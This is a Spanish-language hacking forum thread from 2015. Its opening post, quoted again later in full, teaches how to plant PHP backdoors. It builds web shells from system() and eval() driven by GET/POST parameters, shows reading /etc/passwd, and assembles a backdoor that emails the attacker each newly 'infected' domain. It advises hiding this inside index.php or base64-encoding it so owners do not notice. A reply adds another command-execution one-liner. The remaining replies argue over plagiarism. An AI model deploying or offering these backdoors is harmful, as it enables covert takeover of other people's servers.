Underc0de

[In]Seguridad Informática => Seguridad web y en servidores => Mensaje iniciado por: Payasako en Junio 13, 2015, 08:50:15 PM

Título: Backdooring con PHP.
Publicado por: Payasako en Junio 13, 2015, 08:50:15 PM

Hola Underc0deanos, en este post hablaré sobre técnicas para tener un archivo ya sea .PHP ó .HTML a nuestro control. No me hago responsable sobre el uso que le den a este post. Solo lo hago por cuestiones educativas y éticas.

Para el que no sepa que es un Backdoor, cito a mi amiga la Wikipedia.
Citaruna puerta trasera (o en inglés backdoor), en un sistema informático es una secuencia especial dentro del código de programación, mediante la cual se pueden evitar los sistemas de seguridad del algoritmo (autentificación) para acceder al sistema.


Temario de funciones
1-System()
2-Variable Global $_SERVER[]
2.1- $_SERVER['REMOTE_ADDR']
2.2-$_SERVER['PHP_SELF']
2.3-$_SERVER['SERVER_NAME']
3-mail()
4-eval()

System()
No dudo que ya conozcas está función ya que es la más conocida para estos temas.

Para poder usarla solo debemos declarar:
Citar
Código (php) [Seleccionar]
<?php
system
('comando');
?>
¿Y si se nos ocurre usar $_GET o $_POST para poder ejecutar el comando que queramos?
Citar
Código (php) [Seleccionar]
<?php
$var 
= @system($_GET['ejec']);
?>

Podriamos entrar desde:
Citarurl.com/archivoinfectado.php?ejec=comando

un ejemplo así:
Citarurl.com/archivoinfectado.php?ejec=cat /etc/passwd
y nos mostraría el etc/passwd o podemos poner con cualquier comando, depende el servidor
dependeran los comandos, es decir si tiene linux son comandos linux y si tiene windows pues son
comandos windows, :genius:

Si no están 100% familiarizados con linux les dejo unos comandos que podrian servirles:
Mover un archivo: mv archivo /carpeta/
Renombrar un archivo: mv archivo archivorenombrado
Crear un archivo: touch archivo
Descargar archivos: wget url.com/lol.txt (Se descargará un archivo lol.txt)
Eliminar un archivo: rm archivo
Copiar un archivo: cp archivo archivocopiado

Variable global $_SERVER
$_SERVER['REMOTE_ADDR'] – Muestra la ip de el usuario que está abriendo el script

Ejemplo:
Citar
Código (php) [Seleccionar]
<?php
echo 'tu IP es'.$_SERVER['REMOTE_ADDR'];
?>

Mostrará la IP de quien lo abra.
$_SERVER['PHP_SELF']- Muestra la ruta en el que se está ejecutando el script.

Ejemplo:
Citar
Código (php) [Seleccionar]
<?php
echo 'Este archivo esta en'.$_SERVER['PHP_SELF'];
?>

Mostrará la ruta de el script, es decir si estamos en web.com/hola/lol.php te mostrara /hola/lol.php
$_SERVER['SERVER_NAME'] – Muestra el dominio en el que se está ejecutando el script.

Ejemplo:
Citar
Código (php) [Seleccionar]
<?php
echo 'Estamos en el dominio '.$_SERVER['SERVER_NAME'];
?>

Te mostrará en la pantalla Estamos en el dominio http://web.com


Mail()
Está función sirve para enviar un mail.

Modo de uso:
mail('Para', 'Asunto', 'Contenido')
NOTA: Esto se puede almacenar en variables pero como he dicho no estoy enseñando a programar PHP.

Entonces si yo pongo en un script:
Citar
Código (php) [Seleccionar]
<?php
mail
('[email protected]''Hola''Hola mucho gusto soy'.$_SERVER['REMOTE_ADDR);
?>
Al momento de que alguen entre me enviara un email con el asunto Hola y con el contenido "Hola
mucho gusto soy y una IP".

Bueno ya lo que sigue es a su imaginación, lo que deseen hacer.

eval()
Bien, ahora les explicaré está función. Eval es parecida a system con la diferencia en que system ejecuta comandos en el sistema y eval ejecuta código PHP.

Un claro ejemplo de uso.
Citar
Código (php) [Seleccionar]
<?php
$var 
= eval("echo 'hola underc0de';");
?>
Si lo ejecutamos veremos que nos mostrará: hola underc0de. Al igual que system() la podemos usar con $_GET ó $_POST de la misma forma.

Ejemplo:
Citar
Código (php) [Seleccionar]
<?php
$var 
eval($_GET['ejec']);
?>

lo usamos de está forma:
Citarurl.com/archivoinfectado.php?ejec=echo 'hola';
y miren que claramente nos ejecutará hola.
Bueno si no están muy familiarizados con PHP está ultima función no les ayudará tanto (y si ponen el code de una shell).

Creando nuestros backdoors.
Un backdoor que ejecute comandos en un sistema pero que nos avise por email cuando alguiien haya visitado este script.
Citar
Código (php) [Seleccionar]
<?php
$var 
system($_POST['ejec');
$domain $_SERVER['SERVER_NAME'];
$ruta $_SERVER['PHP_SELF'];
mail('[email protected]''Nuevo dominio infectado'$domain.$ruta);
?>

Son 4 lineas que podemos incluir en cualquier script, si ponemos estas 4 lineas dentro de una shell y despues encriptamos todo en base64... ¿Quíen se dará cuenta? O también podemos incluir estas lineas digamos en el archivo index.php, asi si nos borran una shell seguimos teniendo acceso al servidor.
Citar
Código (php) [Seleccionar]
<?php
$var 
= eval($_POST['ejec');
$domain $_SERVER['SERVER_NAME'];
$ruta $_SERVER['PHP_SELF'];
mail('[email protected]''Nuevo dominio infectado'$domain.$ruta);
?>

Bueno hay muchas, muchas formas de darle provecho a estas funciones, Yo solo explique dos.
Usen la imaginación.


Saludos, Payasako.
Viejo pdf
Título: Re:Backdooring con PHP.
Publicado por: ANTRAX en Junio 13, 2015, 09:47:27 PM
Que buen aporte @Payasako (https://underc0de.org/foro/index.php?action=profile;u=35996)!
Te dejo 1 c0in!

Saludos!
ANTRAX
Título: Re:Backdooring con PHP.
Publicado por: blackdrake en Junio 14, 2015, 06:13:36 AM
Muy buen aporte Payasako, sobre todo para los que se inician y no saben PHP por tanto, tampoco hacer este tipo de backdoors

Saludos.
Título: Re:Backdooring con PHP.
Publicado por: #🍊 en Junio 14, 2015, 07:35:10 AM
Gracias por la explicación.
Título: Re:Backdooring con PHP.
Publicado por: arthusu en Junio 14, 2015, 05:45:56 PM
Otro ejemplo:

tuarchivo.php?cmd=whoami

Código (php) [Seleccionar]
echo `{$_GET['cmd']}`

Título: Re:Backdooring con PHP.
Publicado por: Snifer en Junio 15, 2015, 01:08:50 AM
WTF?? ?


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Hola Underc0deanos, en este post hablaré sobre técnicas para tener un archivo ya sea .PHP ó .HTML a nuestro control. No me hago responsable sobre el uso que le den a este post. Solo lo hago por cuestiones educativas y éticas.

Para el que no sepa que es un Backdoor, cito a mi amiga la Wikipedia.
Citaruna puerta trasera (o en inglés backdoor), en un sistema informático es una secuencia especial dentro del código de programación, mediante la cual se pueden evitar los sistemas de seguridad del algoritmo (autentificación) para acceder al sistema.


Temario de funciones
1-System()
2-Variable Global $_SERVER[]
2.1- $_SERVER['REMOTE_ADDR']
2.2-$_SERVER['PHP_SELF']
2.3-$_SERVER['SERVER_NAME']
3-mail()
4-eval()

System()
No dudo que ya conozcas está función ya que es la más conocida para estos temas.

Para poder usarla solo debemos declarar:
Citar
Código (php) [Seleccionar]
<?php
system
('comando');
?>
¿Y si se nos ocurre usar $_GET o $_POST para poder ejecutar el comando que queramos?
Citar
Código (php) [Seleccionar]
<?php
$var 
= @system($_GET['ejec']);
?>

Podriamos entrar desde:
Citarurl.com/archivoinfectado.php?ejec=comando

un ejemplo así:
Citarurl.com/archivoinfectado.php?ejec=cat /etc/passwd
y nos mostraría el etc/passwd o podemos poner con cualquier comando, depende el servidor
dependeran los comandos, es decir si tiene linux son comandos linux y si tiene windows pues son
comandos windows, :genius:

Si no están 100% familiarizados con linux les dejo unos comandos que podrian servirles:
Mover un archivo: mv archivo /carpeta/
Renombrar un archivo: mv archivo archivorenombrado
Crear un archivo: touch archivo
Descargar archivos: wget url.com/lol.txt (Se descargará un archivo lol.txt)
Eliminar un archivo: rm archivo
Copiar un archivo: cp archivo archivocopiado

Variable global $_SERVER
$_SERVER['REMOTE_ADDR'] – Muestra la ip de el usuario que está abriendo el script

Ejemplo:
Citar
Código (php) [Seleccionar]
<?php
echo 'tu IP es'.$_SERVER['REMOTE_ADDR'];
?>

Mostrará la IP de quien lo abra.
$_SERVER['PHP_SELF']- Muestra la ruta en el que se está ejecutando el script.

Ejemplo:
Citar
Código (php) [Seleccionar]
<?php
echo 'Este archivo esta en'.$_SERVER['PHP_SELF'];
?>

Mostrará la ruta de el script, es decir si estamos en web.com/hola/lol.php te mostrara /hola/lol.php
$_SERVER['SERVER_NAME'] – Muestra el dominio en el que se está ejecutando el script.

Ejemplo:
Citar
Código (php) [Seleccionar]
<?php
echo 'Estamos en el dominio '.$_SERVER['SERVER_NAME'];
?>

Te mostrará en la pantalla Estamos en el dominio http://web.com


Mail()
Está función sirve para enviar un mail.

Modo de uso:
mail('Para', 'Asunto', 'Contenido')
NOTA: Esto se puede almacenar en variables pero como he dicho no estoy enseñando a programar PHP.

Entonces si yo pongo en un script:
Citar
Código (php) [Seleccionar]
<?php
mail
('[email protected]''Hola''Hola mucho gusto soy'.$_SERVER['REMOTE_ADDR);
?>
Al momento de que alguen entre me enviara un email con el asunto Hola y con el contenido "Hola
mucho gusto soy y una IP".

Bueno ya lo que sigue es a su imaginación, lo que deseen hacer.

eval()
Bien, ahora les explicaré está función. Eval es parecida a system con la diferencia en que system ejecuta comandos en el sistema y eval ejecuta código PHP.

Un claro ejemplo de uso.
Citar
Código (php) [Seleccionar]
<?php
$var 
= eval("echo 'hola underc0de';");
?>
Si lo ejecutamos veremos que nos mostrará: hola underc0de. Al igual que system() la podemos usar con $_GET ó $_POST de la misma forma.

Ejemplo:
Citar
Código (php) [Seleccionar]
<?php
$var 
eval($_GET['ejec']);
?>

lo usamos de está forma:
Citarurl.com/archivoinfectado.php?ejec=echo 'hola';
y miren que claramente nos ejecutará hola.
Bueno si no están muy familiarizados con PHP está ultima función no les ayudará tanto (y si ponen el code de una shell).

Creando nuestros backdoors.
Un backdoor que ejecute comandos en un sistema pero que nos avise por email cuando alguiien haya visitado este script.
Citar
Código (php) [Seleccionar]
<?php
$var 
system($_POST['ejec');
$domain $_SERVER['SERVER_NAME'];
$ruta $_SERVER['PHP_SELF'];
mail('[email protected]''Nuevo dominio infectado'$domain.$ruta);
?>

Son 4 lineas que podemos incluir en cualquier script, si ponemos estas 4 lineas dentro de una shell y despues encriptamos todo en base64... ¿Quíen se dará cuenta? O también podemos incluir estas lineas digamos en el archivo index.php, asi si nos borran una shell seguimos teniendo acceso al servidor.
Citar
Código (php) [Seleccionar]
<?php
$var 
= eval($_POST['ejec');
$domain $_SERVER['SERVER_NAME'];
$ruta $_SERVER['PHP_SELF'];
mail('[email protected]''Nuevo dominio infectado'$domain.$ruta);
?>

Bueno hay muchas, muchas formas de darle provecho a estas funciones, Yo solo explique dos.
Usen la imaginación.


Saludos, Payasako.

Post que veo tuyo sin ofender post que no pones los creditos o bien modificas una que otra cosa sacando títulos y demas, lo que posteaste! o compartiste tus conocimientos es un lindo paper del Odiado y amado por muchos Okolcito aka Okol. Ahhh antes que me olvide el paper de Okol esta en la Biblioteca de UC

Backdooring con PHP by OKOL (http://biblioteca.underc0de.org/?dir=SEGURIDAD%20WEB/Backdooring%20con%20PHP.pdf)

Payasako supongo que eres un chico que anda iniciando en estos lares, mejor poner fuente ;) campeón.


Hasta la despedida está idéntica  solo te falto el Saludos OKOL.

PD: Hasta coin!!! x'D como cambiaron las cosas por aquí.


Regards,
Snifer
Título: Re:Backdooring con PHP.
Publicado por: Stuxnet en Junio 15, 2015, 01:27:19 AM
Han superado a Antrax, antes era taringa ahora desde la biblioteca de underc0de copian los papers xD
Título: Re:Backdooring con PHP.
Publicado por: #🍊 en Junio 15, 2015, 02:28:43 AM
Citar
Post que veo tuyo sin ofender post que no pones los creditos o bien modificas una que otra cosa sacando títulos y demas, lo que posteaste! o compartiste tus conocimientos es un lindo paper del Odiado y amado por muchos Okolcito aka Okol. Ahhh antes que me olvide el paper de Okol esta en la Biblioteca de UC

Backdooring con PHP by OKOL (http://biblioteca.underc0de.org/?dir=SEGURIDAD%20WEB/Backdooring%20con%20PHP.pdf)

Payasako supongo que eres un chico que anda iniciando en estos lares, mejor poner fuente ;) campeón.


Hasta la despedida está idéntica  solo te falto el Saludos OKOL.

PD: Hasta coin!!! x'D como cambiaron las cosas por aquí.


Regards,
Snifer

Brother no fue el único que copia y pega aquí... sin dejar creditos... Déjalo al menos vuelve a aportar algo util (temas que habia olvidado)

...Y ese tema no es de OKOL, es de Cesar publicado en el 2009...

Saludos.
Título: Re:Backdooring con PHP.
Publicado por: EPSILON en Junio 15, 2015, 03:09:20 AM
Entonces es peor de lo que se pensaba todos se van copiando los papers sin fuentes, xD. Jajaja
Título: Re:Backdooring con PHP.
Publicado por: Snifer en Junio 15, 2015, 07:44:09 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Brother no fue el único que copia y pega aquí... sin dejar creditos... Déjalo al menos vuelve a aportar algo util (temas que habia olvidado)

...Y ese tema no es de OKOL, es de Cesar publicado en el 2009...

Saludos.

Entonces lo dejo que siga copy y paste en todo? ademas de no ser el único post? dejo que crezca la ignorancia de las personas y que se acostumbren a ello? solo porque recupera post del ayer? xDDDD Buena tu lógica.

Si fuera de Cesar o de Okol la cuestión es que yo conozco de Okol lo que me acordé, y bueno si tienes fuente original comparte.

Regards,
Snifer

PD: Y no aparece...
Título: Re:Backdooring con PHP.
Publicado por: #🍊 en Junio 15, 2015, 10:13:27 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Brother no fue el único que copia y pega aquí... sin dejar creditos... Déjalo al menos vuelve a aportar algo util (temas que habia olvidado)

...Y ese tema no es de OKOL, es de Cesar publicado en el 2009...

Saludos.

Entonces lo dejo que siga copy y paste en todo? ademas de no ser el único post? dejo que crezca la ignorancia de las personas y que se acostumbren a ello? solo porque recupera post del ayer? xDDDD Buena tu lógica.

Si fuera de Cesar o de Okol la cuestión es que yo conozco de Okol lo que me acordé, y bueno si tienes fuente original comparte.

Regards,
Snifer

PD: Y no aparece...

No dije eso hermano, quiero decir que varias referencias (Variables) fueron sacadas tal y como esta escrito de una publicación que trata sobre PHP en donde el autor es Cesar, hace más de 7 años lo demás es original de OKOL.

Bueno no hay por que hacer un lio por esto, como se escribe atrás es para fines educativos... pero si estuvo mal que el edite sin consentimiento muchas partes de ese tema  y hacerlo suyo mucho menos sin dejar créditos.

Veamos si responde o no...
Título: Re:Backdooring con PHP.
Publicado por: Snifer en Junio 15, 2015, 10:25:36 AM
Exacto!  el detalle esta el realizar cambios solo de código y hacerlo pasar como si fuera de uno si Okol saco xD npi! yo a lo que me recordé indique como dices toca esperar que dice el autor como también los responsables de dicho foro.

Regards,
Snifer
Título: Re:Backdooring con PHP.
Publicado por: [Kounterfeit] en Septiembre 11, 2015, 10:20:04 PM
buenisimoo el crafting de shells y backdoors es uno de los temas que mas me interesa, luego voy a dejar un thread con algunas cosas mas para agregar.Buen aporte bro
Título: Re:Backdooring con PHP.
Publicado por: Decode en Septiembre 14, 2015, 06:03:18 PM
El típico método, buen aporte.

Saludos.
Título: Re:Backdooring con PHP.
Publicado por: Snifer en Septiembre 14, 2015, 09:55:20 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
El típico método, buen aporte.

Saludos.

De copiar y pegar y sin dar créditos ?

Regards,
Snifer
Título: Re:Backdooring con PHP.
Publicado por: Payasako en Septiembre 16, 2015, 08:19:53 AM
Jeje estás echo un Granujilla @sniffer (https://underc0de.org/foro/index.php?action=profile;u=26226)

Mira, te voy a faltar el respeto porque te lo mereces. Antes de todo, el tutorial no tenia ningún tipo de autor, (Yo tampoco he afirmado que sea mio) por otra parte, ha habido foros en lo que lo he posteado y he dejado claro que no era mio, y por otra parte, tambien decirte que no soy nuevo por estos lares, llevo 27 años en la Seguridad informática y de echo, también me atrevo a mencionar tu blog de Sniffer Labs, ¿Cuántos tutoriales de ahí son tuyos?

Venga un saludo granuja, no me he puesto muy duro contigo por pena pero solo quiero decirte que también vale informarse antes de ladrar, si yo ahora te digo "panchito" llevaria la razón aunque no tengo pruebas ni nada, lo mismo pasa colega.

Un saludo desde mi sede de seguridad informática en Madrid, algo que nunca tendrás tu.

Hayy la envidia que te entra eh, pues se tu tambien inteligente y copia posts para que te den coins, TONTO. Ah no, que en tu blog no hay coins, mala suerte.

Hasta luego granuja.
Título: Re:Backdooring con PHP.
Publicado por: Snifer en Septiembre 16, 2015, 12:58:29 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Jeje estás echo un Granujilla @sniffer (https://underc0de.org/foro/index.php?action=profile;u=26226)

Mira, te voy a faltar el respeto porque te lo mereces. Antes de todo, el tutorial no tenia ningún tipo de autor, (Yo tampoco he afirmado que sea mio) por otra parte, ha habido foros en lo que lo he posteado y he dejado claro que no era mio, y por otra parte, tambien decirte que no soy nuevo por estos lares, llevo 27 años en la Seguridad informática y de echo, también me atrevo a mencionar tu blog de Sniffer Labs, ¿Cuántos tutoriales de ahí son tuyos?

Venga un saludo granuja, no me he puesto muy duro contigo por pena pero solo quiero decirte que también vale informarse antes de ladrar, si yo ahora te digo "panchito" llevaria la razón aunque no tengo pruebas ni nada, lo mismo pasa colega.

Un saludo desde mi sede de seguridad informática en Madrid, algo que nunca tendrás tu.

Hayy la envidia que te entra eh, pues se tu tambien inteligente y copia posts para que te den coins, TONTO. Ah no, que en tu blog no hay coins, mala suerte.

Hasta luego granuja.

jajajajajaja lucha de egos? tranquilo campeón te dejo con tu sede de seguridad bien por ti, basta con decir me equivoque si revisas una busqueda en Google encontraras el documento ;).

Respira y tranquilizate campeón.

Regards,
Snifer